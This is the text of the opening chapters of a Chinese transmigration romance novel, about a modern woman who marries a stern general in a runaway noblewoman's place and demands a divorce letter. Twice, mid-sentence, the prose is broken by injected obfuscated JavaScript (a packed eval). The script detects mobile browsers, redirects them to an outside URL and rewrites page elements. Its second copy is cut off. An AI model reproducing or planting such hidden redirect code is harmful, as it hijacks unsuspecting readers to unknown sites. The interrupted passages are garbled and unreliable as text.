《假千金已送达,无法拒收!》 1. 出嫁 天齐十六年,晚冬夜。 晏府,红灯高挂,火烛摇曳。 “多漂亮。”丫鬟阿宁捧着金光闪闪的凤冠徐徐走来。 漂亮吗? 叶星澜歪歪扭扭地趴在铜镜前,仔细瞧镜中那张素净乖巧却被妆点得极为艳丽的面容。 胭脂涂的像猴屁股,嘴唇的颜色更是像一口气能吃十个小孩的厉鬼,满头的金簪凤冠叫她直不起脖子。 阿宁感慨完后又道:“需得时刻注意言谈举止才好......” “好了好了,别说了,再说我可就反悔不嫁了——”叶星澜被人扶正后长叹一口气,阿宁立刻住嘴。 在喜娘出现前,一对雍容华贵,面目可亲的夫妇快步进门,握住叶星澜的手:“如若被圣上知道我儿悔婚出逃,晏府将满门蒙难。如今你愿意代替我儿出嫁,我们夫妇二人,晏府上下感激不尽,无以为报......” 这话叶星澜在一个小时前就听了不下十遍,她象征性地眯了眯眼。 只见夫人看向一旁的阿宁,郑重道:“出了这扇门你便是我晏府千金——晏微,阿宁陪你一同入将军府。若你日后在将军府遇何困境,我们夫妇二人定会尽全力为你排忧解难。” 夫人眼含热泪,声情并茂的一番说辞燃气了叶星澜的斗志:“你们放心!我既然答应了要替晏微嫁人,就不会半路逃跑,我一定谨小慎微,夹着尾巴做人,绝对不会被他们发现身份。” 门外传来喜娘的吆喝声,夫人立刻将红盖头将叶星澜的脸盖了个严实,阿宁搀扶着叶星澜上了马车。 即使坐在马车里都能听见外头锣鼓喧天,吆喝声一阵比一阵高昂。 早就掀开盖头东倒西歪的叶星澜忍不住想,大晚上娶亲嫁人的不扰民吗? 听夫人说,穆随和晏微皇宫初见时,晏微七岁,穆随十三。现在则是十七和二十五。整整差了六岁。加上晏微平日鲜少出门,晏府所在的重岳县的百姓几乎从未没见过她,更别说百里之外——京城的将军府。 两个毛都没长齐的小孩被硬点鸳鸯谱,一到岁数就拜堂成亲,没有任何感情基础的婚姻和开盲盒似的,真叫一个现代人惶恐又好奇。 叶星澜悄悄撩开马车的帘子,发现前头队伍里只有腰佩长剑的士兵没有新郎官装扮的人,不禁“咦”了一声,脖子伸得更长。 “快别看了,叫人看见该说老爷夫人教导无方。” 袖子被人轻拽,叶星澜权当没听见阿宁的话,眼珠子转得飞快。 坐在车夫旁边的喜娘觉察到什么,将她的头按回帘内,一同钻了进去,坐稳后道:“就连平头百姓都知将军府家规森严,言行举止更是出不得半点差错,晏小姐不知?” 我知道个屁! 我两个月前突然掉到你们这个鬼地方,莫名其妙成了千金的丫鬟,为了救几十条无辜性命才坐上这出嫁的马车。 别说什么将军府了,就连路边的狗,她都还没搞清楚是不是正统中华田园犬。 叶星澜心里吐槽一番,面上还是保持微笑,细声细语道:“我第一次成亲,和大将军除孩童期外从未见过面,难免好奇。” 喜娘面上的疑惑缓和了些:“这桩婚事虽是圣上亲指,但大将军公事繁忙,特请示皇帝此次迎亲由随从护送,大将军只在府邸门口等候,小姐自然没瞧见。” “娶老婆还找别人代办!?” 叶星澜没忍住嚎了一嗓子,喜娘被吓得直抚胸口,阿宁立刻找补道:“即便是镇北大将军,也不该如此冷落新妇,更何况我家小姐乃盐铁使君独女,从小备受宠爱......” 阿宁倒是很为晏微打抱不平,叽里咕噜说了一通。到最后喜娘都觉得确实是将军的不对。嫁娶乃人生大事,就连皇帝,也没有代办的先例。 喜娘道:“大将军虽性情冷淡,不苟言笑,但样貌是一顶一的俊俏。且从未像其他公子哥那样有过莺莺燕燕,红颜知己更是没有,将来定会和你家小姐恩爱有加。” 二十多岁,还长得帅,没谈过恋爱又没有绯闻,谁知道是不是性取向小众。 叶星澜不信,哼了声:“他真有你说得那么好看?” “血染战袍,不掩其俊。”喜娘咿咿呀呀地唱起来。 马车颠簸了好几天,也是这副身体不晕车,否则叶星澜真要在喜娘的催眠中睡晕过去。 “再有两个时辰就到将军府了,老奴该教的都教了,一会儿拜堂可千万不能有差错。” 没吃过猪肉还没见过猪跑吗。电视剧里成亲拜堂的环节就那几样,看都看会了。 叶星澜无所谓地努了努嘴,把红盖头往下一翻,睡起觉来。 睡得正香时被人摇醒,手里也被塞进一段红绸,迷迷糊糊地下了马车。 “脚踏火盆凶煞退,手挽良缘福运来——” 红头鸳鸯鞋前便是烧得正旺的火盆,叶星澜低头迈出一只脚,第二只刚离地时身后猛地响起一阵锣鼓声,吓得她腿一哆嗦,脚跟踩住了盆沿。 火苗顺着她的裙摆一路向上,被踢翻的盆中炭火更是滚得倒出都是,飞扬的火星弹落在宾客身上。 这下是真引火上身了。 有人嚷道:“水!快抬水来!” 脚踝处炙热的温度叫人瞬间清醒过来,叶星澜松开握着红绸的手预备去拍灭那火苗,随即,视线中突然多了一只男人的手掌。 只是三两下,那熊熊燃烧的火苗便在那手掌间完全熄了。 叶星澜的眼睛亮了,心想,这人的手怪好看的。 掌骨宽大,骨节如竹节分明,手指如竹叶修长。最妙的是那一根根如扎实树根的青筋,分布得恰到好处。唯一的缺点就是皮肤有点黑。 能近距离靠近新娘,想来这就是镇北大将军,穆随的手。 本想趁着乱哄哄的情况偷看一眼,谁知她刚撩起盖头一角,周遭混乱就被平息了,锣鼓声四起。 心急吃不了热豆腐,叶星澜只好作罢,反正洞房的时候也能看得清清楚楚。 想到晚上要洞房,她又面上一烫,和一个陌生男人初见就要共度良宵,这对她一个思想遥遥领先的现代女性来说还是太大胆、太超标了。 “一拜天地——” 要按她在现代的年龄算,就比穆随小两岁。虽然是个母胎solo,但床上那点事情一清二楚。 “一拜天地!” 就是不知道这个穆随怎么样,建模行不行、工具行不行、技术行不行......如果都不行,那就拉倒。 “一拜天地!!!” 手里随意握着的红绸突然被绷紧,叶星澜回过神来,立刻弯下腰去。 只是跟在她身后两米远的阿宁不自觉攥紧了帕子,满脸担忧,直到人唱完“今日拜堂成双对,来年添个状元郎”,她立刻上前搀住叶星澜,转身往椒房的方向走。 屋内,将军府的人都走开后,阿宁才彻底放下心来,站在床尾长叹一口气:“你刚才可吓死我了。” “不好意思,刚才走神了。”叶星澜掀起盖头,嘿嘿笑了两声。 见屋外热闹,屋里却只有二人,叶星澜问:“是不是得等到晚上喝交杯酒我才能见到穆随?” 阿宁点头,叶星澜腾地一下站了起来,踢着裙摆走向摆满佳肴的圆桌。 因为迎亲队伍连夜赶路,害得她从昨晚到现在粒米未进,饿得能吃下一头牛。 从熏得金黄的烤鸡身上扯下一只紧实的腿,嘴唇刚沾上点油,手里的大鸡腿就被阿宁拼回了鸡的身上,阿宁道:“这个不能吃,一会儿被人发现我们偷吃可就不好了。” 无奈一只鸡就两条腿,确实容易被发现。 叶星澜舔了舔嘴唇,转头看向那一盘摆成花苞状的切片牛肉,趁阿宁没反应过来时飞速夹了两片丢进嘴里,嘟哝着说:“这个重新摆一摆看不出来的。” 阿宁的肚子也发出了抗议声,叶星澜听见了,干脆带着她挑些碗里的边角料吃。 两人扣扣嗖嗖地吃完后,叶星澜还是觉得饿,于是把主意打在了铺在床榻上的“早生贵子”上。 隔着窗瞧见天色渐渐暗了下来,她在问了阿宁一百遍之后,终于听见门外有低低的人声 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落在脸上的目光不是欣赏敬佩,也不是挑衅打量。圆圆的两只眼睛,好奇地盯着。从未被人这样看过,穆随突然有些拿不定主意。 喜娘又唱道:“今日共饮合卺酒,来年同看合欢花。” 叶星澜接了杯,同男人粗壮的手臂交缠住。仰头一饮而尽时被酒水辣得眉飞色舞,好不容易挺过刀片划嗓的感觉,又没忍住打出一个中气十足的响嗝。 “嗝——” 叶星澜紧忙捂住嘴,但是来不及了。 她不好意思地冲人笑笑,发现旁边男人的脸黑得像阎王身边的鬼差,她又尴尬地抿住嘴角。 下人们原本是要离开的,可听见新妇这粗鲁的一声嗝之后开始面面相觑,谁也没有动作。 大将军大手一挥,所有人便动了起来,满脸紧张的阿宁最后转身时还给叶星澜递了个“千万保重”的眼神。 门关上后,男人立刻起身,背对着她:“难道晏府请不起教养嬷嬷,无人教导晏小姐规矩礼仪,才养得这般不拘小节?” 这是内涵她没教养。 叶星澜心里很不爽,但还是要装出卑微的样子:“小女第一次成婚,若有失礼之处还请将军海涵。” 她以为只要认错认得快,稍微有点气度的男人都不会再讽刺挖苦她。 见穆随抬脚走向紧锁的房门,叶星澜以为他要离开,小声嘀咕道:“守活寡一样从白天等到晚上,人都要饿死了。” 穆随停住脚步,转过身冷眼看向她:“你说什么?” 怎么还有千里耳! 但不影响叶星澜脸不红心不跳,“我没说话啊,将军怕不是吃多了酒,听错了。” “成婚之日就说出如此歹毒之话,实在没有半点名门贵女之姿。若不是陛下钦点,你这般粗鲁无德的女子休想嫁进我穆府。”穆随压低眉,阴沉的眸光似一记弯刀。 叶星澜的肚子还饿着,人在极度饥饿的状态下难以保持理智。 “你也知道这桩婚事是乱点来的,不然你以为我愿意嫁给你啊!呸,老牛吃嫩草。” 她瞪着眼要起身,只是手指无意把裙摆和被褥混在一起,屁股刚离开床榻,藏在被褥下的花生壳桂圆皮稀稀拉拉地掉了一地。 气氛霎时静了下来。 穆随冷眼扫向一地的残渣,又扫了眼呆在原地她,哼声道:“晏小姐既然如此不愿,那明日我便以你言行粗鲁无状向陛下请一纸休书。” 换作别人可能还会怕,可叶星澜却求之不得,冲着他无情的侧脸大喊:“你最好说到做到!” 除了将死之人,还从来没有谁敢这么和他说过话。更别说是女子,哪一个见了他不是低眉顺眼,毕恭毕敬。穆随被这新妇气得咬紧了牙根,最后丢下一句“泼妇”便推门大步离开。 人走后,叶星澜坐在桌前安心吃馋了许久的大鸡腿。 有了休书,那不仅保住了晏府满门几十条性命,还能重归自由身。 被休,简直不要太完美! 2. 休书 两个月前,叶星澜为了完成论文,在郊外一座破败的古庙采风。为了看清楚各种拱之间的穿插构造,她爬上爬下,谁知脚下一滑,直接滑到了现在的世界。 当时的她捂着屁股在地上翻滚:“救命!好痛——” “让你帮忙捡个风筝,毛手毛脚的,快些起来,我看看摔着没!”一位身宽体胖,穿着粗布的中年妇女蹲在她身边。 “你谁啊?”叶星澜痛苦地睁眼,下一秒额头便落下一个响,妇女收回手指,“还要说笑,赶紧起来我看看。” 远处走来一群同样古装扮相的人。而一身粉色罗裙,模样清纯动人的女孩尤为耀眼。 少女快步走到妇人身边,弯下腰仔细打量叶星澜,声音也似春水一般温婉:“阿星可有受伤?” 阿星? 第一次见面就知道她的名字,还叫得这么亲切,难道之前见过? 叶星澜以为是一群搞cosplay的来古庙取景,扶着屁股从地上爬起,发现自己身上也是粗布麻衣后神色一变。 怎么自己和他们打扮一样! 怎么这房屋如此崭新精致! 怎么大家的演技比内娱演员还好! 妇人双手交叠在腰间,半蹲不蹲的姿势回答:“阿星从檐上摔了下来,老奴给她上点药,休息两天便无碍,不劳小姐挂念。” “伤得可重?”被称为小姐的女孩看了眼龇牙咧嘴的叶星澜,随后转身对人说,“阿星毕竟是帮我捡风筝才跌落的,风筝不打紧,你们扶阿星回屋,再请大夫来看看。” 叶星澜还没反应过来就被一群人架着穿过假山,游廊和圆亭。最后被按在一张蓝布围拢的床上。 背着药箱的大夫进门之后对着她的腿脚一顿按捏,叶星澜痛得嗷嗷叫。 大夫只道:“伤筋动骨一百天......” 这痛感太过真实,叶星澜接连眨了好几下眼睛,视线中的一切仍未改变。终于反应过来当下的情况。 坏消息,穿越了! 更坏的消息,穿成丫鬟了! 那穿着打扮不凡的少女是盐铁使大人的千金,叫晏微。 晏微对叶星澜一个受伤的丫鬟倒挺上心,好吃好喝地伺候着。可叶星澜无法接受,日日夜夜地躺在床上哭喊了无数遍:“老天爷!怎么穿回去啊!” 大家听了直摇头:“她是年纪小受不住痛,才会胡言乱语。” 没人把的她话当真,只当她是痛得神志不清。 叶星澜欲哭无泪,在半夜无人看守的时间一瘸一拐地爬上屋檐,以为再摔一次就能摔回原来的世界。 毕竟电视剧里都是这么演的。 可世界天旋地转,她“啪”的一声摔在地上,发出惊天动地的哀嚎声。也不过是又一次被人扛进屋里,被大夫按得像活虾一样在床上来回蛄蛹。 回又回不去!死又死不掉!活也活不动! 叶星澜泪流满面,好不容易接受穿越的事实。可晏府又出大事:出嫁前一日的真千金逃婚了。 本来抱着吃瓜的心情在一旁看热闹,直到府里门窗紧闭,众人急得像热锅上的蚂蚁,她才从只言片语里得知抗旨逃婚的后果是满门抄斩。 晏府夫妇性情和善又心胸宽阔,从不苛刻下人,所以现在府里上下一条心,大家都对三位主子忠心耿耿,唯命是从。 只是胳膊肘朝外的晏微留下一封悔婚书。字里行间颇有“妈妈,人生是旷野”“爹地,他才不是什么穷小子”的意思,不顾几十条人命说走就走。 真挺没良心的。 夫妇只有晏微一个女儿。放着高门阔府不嫁,和一个认识不到半年的野男人远走高飞,夫妇二人又气又悲。 面对几十张害怕的面庞,晏大人高声道:“今日我儿悔婚出逃是我教导无方,明日事情暴露恐惹怒圣上,引来灭门之罪。你们进我相府兢兢业业许多年,却落得如此下场,是老身对不住大家,老身死不足惜!身契在此,大家速速离开吧。” “老爷夫人,我进府三十年有余,多亏主子恩赏才得以活命至今,现如今相府有难,我又怎可逃......”为首的妇人神情悲壮,摆明了要和主子同生共死。 叶星澜本想着死了也挺好,黄泉路上不怕没伴,而且死了说不定就回去了。 可周围的人在听过妇人一番话之后纷纷哭倒一片,气氛沉重悲痛。 叶星澜也被感染得泪花闪烁,脑子一抽,哆哆嗦嗦地举高手:“要不,我替小姐嫁?” 哭声瞬间止住。 于是叶星澜代替晏微嫁进了将军府,成为将军夫人。 但过了今晚就不是了。 没想到这么快就能被休,她躺在喜被上睡不着觉,开心地直打滚。 “阿星?” 声音耳熟,叶星澜瞬间绷紧身体,紧接着是晏微那张清纯可人的脸庞放大在眼前。 她立刻弹跳起身,一边费力地脱衣服一边惊呼:“你可终于来了,来来来,这喜服还热乎,赶紧穿上!” 晏微后退几步,摆手道:“既然你已顶替我嫁入将军府,不如将错就错。更何况将军已识你面容,若此时我们换回身份,晏府恐遭大难。” 气不过晏微这时候当起好人,叶星澜反问她:“你连夜逃跑的时候怎么没想过你全家?” “这桩婚事本不是我愿,我为何要嫁?即便是陛下钦点,我也不嫁!”晏微目光决绝。 叶星澜把外裙一甩在地上,气鼓着脸颊:“你是打响了反帝反封建的一枪,那我怎么办!” “你与将军拜过堂,此后便是将军夫人,我父母亲也定会把你当作亲生女儿对待,你大可放心。” “那我又不是晏微,将军夫人本来就是你才对!” “你既替我嫁,那穆将军就是你的夫君。” “你夫君!” “你夫君。” “你夫君!” “你夫君。” ...... 晏微嘴硬不认,比牛还犟。叶星澜双手叉腰,开始破罐子破摔:“我夫君、我夫君!行了吧,你满意了吧!” 晏微似是满意一笑:“将军府守卫森严,我不便多留,日后你多保重。” 还没反应过来,只见面前少女被一个不知从哪儿飞出的男人抱走,只留下两抹残影给她。 叶星澜气得原地跺脚:“爹的,最烦恋爱脑了!” 好不容易平复好情绪准备睡觉,谁知房门被人叩响,“少夫人,祖母有请。” 也就是欺负新娘刚入门,一众老老小小的下人们直接闯了进来,盯着叶星澜随意披上衣服,什么也不说只让她跟着走便是。 正厅里,青石地板光亮如镜,悬挂于横梁上的牌匾写着“武德承芳”四个大字,匾额之下是两把未出鞘的宝剑,令人不觉紧张起来。 主位上两鬓苍苍,不苟言笑的老人想来就是穆家祖母。主位两侧分别坐着不同年纪的女人,叶星澜虽不知道她们是什么身份,但知道跪在大厅中间行大礼,两只手交叠在额前:“叶......不是,晏微给祖母请安。” 祖母表情严肃:“你可知我唤你何事?” “晏微不知,请祖母明示。”她直起腰,把垂在眼前的长发撩到耳后。 “祖母让你起了吗?”离祖母最近的少女不怀好意地上下打量着她,“如此失礼,怎与哥哥相配。” 不配也嫁进来了,要说理也应该去找爱乱点鸳鸯谱的皇上,和她较劲有什么用。挺直脊背的叶星澜在心里翻了个白眼,没搭腔。 另一位珠光宝气,手摇团扇的女人细声细气地笑道:“虽说你初为新妇不经人事,但怎的连自己的夫君都留不住。府里的下人们都说,侄儿离府的时候怒气冲冲,莫非是你们发生口角,怎得新婚之夜就惹得夫君不快?” 是宅斗,完了。 叶星澜自知心眼少,又寡不敌众,干脆低头不语,摆出一副认真听教的姿态。 主位上的老太太见她不作声,凝眸正色道:“不论穆随与你是否发生过口角,但新婚之夜你就独守空房,传出去定要惹来非议。” “祖母,她昨天与哥哥拜堂时踢翻火盆,请安时还晃手晃脚,日后若是走亲访友也这样,一定会被其他女眷笑话的。”又是带头刁难叶星澜的少女。 祖母一翻手,旁边的妇人便递上拐杖,祖母握着拐杖敲响地面,“你既嫁入穆家,就得守穆家的规矩,一言一行皆要大方得体,不可失将军府风范。来人,把穆氏家规拿来。” 虽年迈,老人的嗓音却浑厚有力,无需抬高音量便能让众人安静。 没一会儿,叶星澜手里就多了一本堪比砖头厚的古书,她抬头看向祖母。 祖母说:“你就在这儿念给大家听。” 叶星澜低头望着手里沉甸甸的书,暗暗咬牙,等到天亮之后穆随才会去请休书,眼下只能再忍一忍了。 她硬着头皮翻开,逐字逐句念道:“凡穆家族人,当以忠义为先,誓死效忠朝廷,护国安民,不得有违军令、辱没门楣......” 天色渐亮,偶有鸟雀啼叫,手里的书却刚翻过几页,一夜未眠的叶星澜困意上头,上下眼皮打起了架。 恍惚时见厅内众人帕子掩住下半张脸,都在悄悄打哈欠。她便坏心地大声喊:“凡穆家族人!行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423297|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不逾矩,动不失仪!失仪者惩,乱序者逐!” 众人被她吓得一哆嗦,叶星澜马上又恢复刚才半死不活的语调:“凡违家规者,无论尊卑,一律严惩,求情者同罪......” 谁知道这穆家祖上到底发生过多少丑事烂事糗事,要不然这本书怎么会翻不到头似的。 她把所有的希望都寄托在穆随身上,只盼着他拿来休书,她就能挥挥衣袖,拍屁股走人。 说曹操,曹操到。 换下红袍的穆随一身黑衣,如墨般的长发被一条暗红色的绸缎束起。他睨了一眼跪在地上的人后稍稍弯腰:“给祖母请安。” 原以为祖母会对穆随这个嫡孙百般疼爱,谁知祖母面色依旧严肃:“新婚第一日,你难道还有公务?” 穆随现身之后,全场的注意力就都聚集到了他身上。叶星澜便偷偷把屁股放低,坐在腿上,举着家规挡住她闭起的眼皮。 “祖母,您看她!不仅对您无礼,对哥哥也是同样。”少女眼尖,一下就发现叶星澜在偷懒。 想着马上要被休,加上实在困得睁不开眼皮,叶星澜连眉头都懒得皱,索性开始专心打盹儿。 穆随垂眸看向脚边蔫头耷脑,长发散乱,红裙皱巴成一团,面容疲惫不堪的人。明明昨晚都张牙舞爪,现在又成了任人摧残的枯草。 他蹙着眉,弯腰握住少女的手臂,将人从地上拽起,严厉道:“长辈面前不得无礼。” 被人强行拉起,叶星澜很不耐烦地咂了咂舌,肩膀东倒西歪,咕哝道:“装什么装,马上都离婚了。” 声音虽小,但还是被身边人听见。 穆随松开手,看见她手里捏着穆氏家规,又瞥了眼众人看热闹的神情,心中便猜到一二。 他不改神色,对祖母道:“昨夜我得令前往西郊军营处理要事,方才回府。” “原是如此,还以为侄儿不喜新妇,才在新婚之夜离家而去。”先前摇着团扇对叶星澜冷嘲热讽的女人一改态度,起身握住叶星澜的手:“新妇怎的不解释一二,害得祖母替你们担心,更生出这么大一场误会。” 真是巧舌如簧,笑里藏刀。叶星澜毫不留情地收回被女人握住的手,女人面色尴尬,只好坐回原位。 祖母依旧端坐于主位,丝毫没有怪错人的意思,直盯着穆随:“既是误会,那便就此结束。只是你新妇言行无状,实在有损穆家威严之风。你若公务繁忙,无闲管教,那老身便替你管教,如何?” 穆随思索片刻,鞠躬作揖道:“祖母年岁已高,教导新妇恐扰您清静,添其烦恼。孙儿认为她偶有失礼只因从小被晏使君夫妇宠爱,只需稍稍引导再学习主事一二,方能同其他女眷一般宽严得体,处事不惊。” “那你论她应何时学习主事?” 等等,她应该被休,不应该学什么主事才对。叶星澜瞬间困意全无,可这一老一少话密得根本插不进嘴。 “前些日子雷雨不断,穆家祠堂年岁深远,其梁柱不堪雨淋,现墙瓦坍塌。孙儿令工匠们将其翻修如新,只是尘土飞扬污泥更甚,家中女眷皆无意监工,不如将她派去,也可为祖宗尽孝。” “那便照你说的办,一月之内必须完工。”祖母一声令下后便拄着拐杖离开。 等众人散去后,叶星澜才有机会开口。偏偏穆随身高体阔,走起路来大步流星。她提着裙子小跑到他面前,将他拦住,下巴一抬,掌心一摊,没好气道:“休书呢?” 穆随停住步伐,颇有不悦:“圣上于今日微服私访。” “那他什么时候回宫?”她见他两手空空,看样子是要等到皇帝回来才能如愿,便对他挑眉瞪眼,“你难道不是穆家人?” 见穆随凝眸不解,叶星澜环住双手,有模有样地说:“穆氏家规有言,凡穆家族人,言而有信,言出必行。” 面前这言而无信之人脸色阴沉,眉头压眼,却不说一句话。 叶星澜本来有点怕,但想着自己若拿不到休书,岂不是一辈子都惶惶度日。况且她昨晚已经暴露真实性格,再装也来不及。 她定了定心神,继续摇头晃脑,掷地有声道:“有违家规者,无论尊卑,一律严惩。” 叶星澜踮起脚,扶上他的肩头,凑近他的耳边:“你言而无信,有违家规,信不信我去告诉祖母,让你也跪上几个时辰。” 咫尺可近,少女的脂粉气忽地扑进鼻腔,闻惯了血腥气的穆随身形僵住,视线也不受控制地落在少女白皙的耳尖。 直到少女松开手,后退两步与他拉开距离,那幽香的脂粉味渐渐消散,穆随依旧板着脸,从紧涩的喉间挤出两个字:“随你。” 3. 被骗 经过跪读家训一事,叶星澜知道即便是嫁进了将军府,顶着“穆氏族人”的头衔,在所有姓穆的人眼里,晏微依然是个外人。 她才不会蠢到真去祖母那儿告状,不过是想让穆随时刻记住休妻这事罢了。 皇帝出巡短则三五天,再长也不会超过三个月。她只能安慰自己再忍忍,就像高考倒计时一百天那样,很快就会过去的。 回屋补了个大觉,醒来后得到的第一个好消息是穆随和皇帝一起出差了,归期不定。 第二个好消息是穆家祠堂重建,她负责监工,有一定的话语权。 大家都不愿意做的却让她做,摆明了是不想她好过。 可叶星澜并不苦恼,因为翻修祠堂这事刚好专业对口了,她读本读研学的就是建筑修复。况且是独立负责一个项目,还能观察真正的古人是如何建造房屋,叶星澜觉得日子稍微有了点盼头,干劲满满。 祠堂几十米远,领头侧身要为叶星澜带路,“祠堂修建尚未完工,此地泥泞不堪,请少夫人移步圆亭高处。” 她提着裙摆径直往倒塌的墙瓦走去,边走边看边感慨:“这个木头雕的花鸟鱼虫也太生动了吧,得拿笔画下来才行,写进论文里,还有这个石雕......” 原以为少夫人是千金之躯不愿沾泥近污,谁知眼前的人却在碎裂的木头和瓦砖之间活蹦乱跳,一会儿摸摸瓦片,一会儿对着裂成两半的石头喜笑颜开,时而低头沉思念念有词。 没有半点架子可言。 领头的工匠走到叶星澜身边,被她反问:“这面墙是怎么倒的?” “回少夫人,穆家祠堂于十年前修建,这梁木被风吹雨淋许多年,上月突然裂开,横梁屋檐少了受力,连带着墙面一起塌了。”工匠微微颔首,指了指不远处倒在地上的粗木桩。 叶星澜走到粗木桩旁边,蹲下细细观察裂纹的走势,又问:“那你们要怎么修呢?” “取新木桩代替即可。” “可就算新木桩结实牢固,十年之后还是会因为风吹雨淋而像这样裂开。” 工匠被叶星澜问住,片刻后缓缓道:“这房屋建造本就不是长久不变,只要有人往来就会有使用的痕迹。至于少夫人说的,几十年后自有人重建。” “我当然知道房子是越住越旧的,但如果每隔十年就要翻修重建,大户人家当然无所谓,可对于普通百姓来说也太麻烦了。” “我有一个办法。” 叶星澜眼珠子一转,指着圆截面的裂纹激动道,“我们把铁烧成S的形状,然后把铁活儿嵌进在还没有干透的木材,把木纹拉住,防止烤干过程中木纹过度开裂,这样用个百八十年是没有问题的。” 见工匠们一脸茫然,叶星澜反应过来自己说的话对这个世界的人来说太超前了。她让阿宁拿了纸笔来,随意画了几个圈,又在圈里画了S的形状。 工匠们对于这一时兴起的说辞开始不停质疑反问。 “此前我们从未听说过这办法,如何行得通,况且夫人身为女子怎知晓这些?” “你别管我怎么知道的,反正在没有钢筋水泥之前都是这么建房子的。” “何为钢筋水泥?” “……和你们古代人解释不清楚,总之这个就是可以防止开裂的。” 纵使叶星澜强调了一百遍方法可行,还保证这个方法会延续百年甚至千年,可匠人们还是不相信。 最后叶星澜叉着腰,佯装怒意地命令道:“你们照我说的做就是,有任何后果,我一人承担。” 匠人们再有异议,也只能点头照做。 尝到了权力的滋味,叶星澜更加肆无忌惮地追在工匠身后问东问西。 书本上一本带过的建筑知识,她从工匠们嘴里了解得清清楚楚,恨不得二十四小时盯着工匠们手里的每一步动作。 之后每一天叶星澜带着阿宁早出晚归,祠堂和将军府两点一线。 出了将军府里就没有那么多规矩,无人打扰,她也能专心研究古建筑。 阿宁每天出门前变着花儿地给她穿衣打扮,白天她监工帮忙,饿了就带阿宁去酒楼吃好喝好,闲了就反复检阅修正写的建筑笔记。 老公不在家,每天有钱花,这日子过着倒是开心又自在。 翻修祠堂已经到了收尾工作的时候,最后一批雕着獬豸的脊瓦运来。 以前在采风的时候总是小心翼翼,生怕一个不小心就把本就需要修复的建筑再损坏,现在有了可以亲手体验的机会,叶星澜当然不愿错过。 她把人从梯子上赶下来,自己爬到了屋檐上。 分开膝盖,叉开腿坐在了已经铺好的屋檐正脊处,铺好一块便往前坐一分,铺完最后一块,她拍开掌心上的灰,颇有成就感:“大功告成!” 阿宁喊她快些下去,她应了一声,刚跨过腿合拢膝盖后猛地站起,谁知眼前一片漆黑,脑子晕乎乎的,便赶忙掐住眉心让视线集中好稳住脚步。 心越急越容易出错。 脚腕往旁边一扭,整个人都不受控制地沿着房顶的瓦坡向下滑。后背彻底腾空后,叶星澜紧闭着眼,彻底死心了。 这下又要躺上大半个月了...... 可托住腰背的并不是冰冷坚硬的地面,而是一股令人心安的力量,干燥的尘土味随之扑进鼻腔。 她恍惚睁开眼,对上那双既陌生又熟悉的眼睛,心跳没征兆地停了一拍:“你怎么回来了?” 都说小别胜新婚,这句话在大家听来不过是对夫君的思念。阿宁松一口气的同时为这对夫妻的感情感到不可思议,这么快就如胶似漆了? 很快,叶星澜的话便打破了阿宁的遐想,也令所有人都倒吸一口凉气。 “休书呢?” 虽然还被人搂着,但叶星澜没心思欣赏男人的长相,直截了当地摊开手:“皇帝肯定也回来了,你把休书给我吧。” 箍着胳膊的手指渐渐收力,叶星澜挣扎着从他怀里跳到地上,吃痛地揉了揉,刚想抱怨,身后传来一道尖利刺耳的声音。 “祖母,你看她,她才嫁进我们家不到一月居然追着哥哥要休书,实在太不像话了!” 叶星澜循声望去,看清穆随身后乌泱泱一群人,才知道他不是一个人来的,拖家带口。 她抬眸不解地看向身前人,好心给他留脸面,压低音量问:“你到底有没有休书给我?” “我实在想不到休书于你到底有何好处?”穆随低沉的嗓音分明夹杂着怒气,微皱的眉宇亦是如此。 这摆明了就是没有,叶星澜认为他是在耍自己玩,咬着牙没好气地说:“堂堂大将军居然也光说不做假把式。” 既然没有,那也不用同他多费口舌。叶星澜绕开他,径直走向那个只会和祖母告状的女孩,翻了个白眼:“你以为我很想嫁给他吗?嫁到你们家我祖上真是不知道干了多少缺德事。” 没想到这刚进府的新娘如此口出狂言,众人表情惊恐。 “你嫁进我们穆家是你的福气,外面多少人想都不敢想。况且你和哥哥是皇上指婚——”少女手指着一副吊儿郎当,毫无千金姿态的叶星澜。 “皇上指婚又怎样!” 知道自己的话很可能引来杀身之祸,但穆随这样言而无信,她寄人篱下又屡遭刁难,生活实在难过。 唯有打得一拳开,免得百拳来。 叶星澜拍开面前的手指:“既然你觉得我配不上你哥哥,那你觉得谁配得上?你自己吗?那让你哥把我休了,你嫁,刚好你们穆家肥水不流外人田——” 还没说完,她的嘴巴突然被死死捂住,不用看,也知道捂嘴的人是谁。 她努力地张开嘴,想方设法去咬穆随的虎口。 “荒唐,祖宗面前竟说出如此大逆不道,有悖人伦之话!” 老太太虽手握拐杖,腰杆却挺得直,尤其是拐杖在地板发出一声巨响,叶星澜的牙不自觉颤抖一下。 从后面环住她的穆随放任她啃咬,五官没有任何波澜,缓缓道:“她并非有心之举,只因我出城前同她大吵一架,又许久未归家,现在不过是对我心有怨气才牵扯到小妹。” 被身后人唤作小妹的少女拽着祖母的袖口,“祖母,她在祖宗面前如此毁我名声污我清白,日后若是传出去,我如何做人。” 叶星澜鄙夷又气愤的眼神在对面的女人间来回游移。 还是那个手不离团扇的女人惯会煽风点火:“少夫人嫁进我们家不过一月,怎与侄儿生出如此大嫌隙,现在又出言诋毁亲兄妹二人之间的感情,实在不应该。” 果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“此事因我而起,我当同她一起在祖宗面前反思悔过。” 耳边响起穆随的声音,一道灰影很快便落在她旁边的蒲团上,有缩小的趋向。 正当叶星澜觉得他还算有点担当的时候,一名腰带长剑的黑衣男子快跑到穆随身边:“将军,营内突发暴乱,请您速回。” 世界安静一秒,停滞在蒲团上的灰影迅速消失,不见踪迹。 穆随离开后,阿宁跑来跪在她身边说要陪她一起,却被府里的下人直接赶走。 脚步声和各种人声逐渐消失,祠堂内慢慢归于安静。 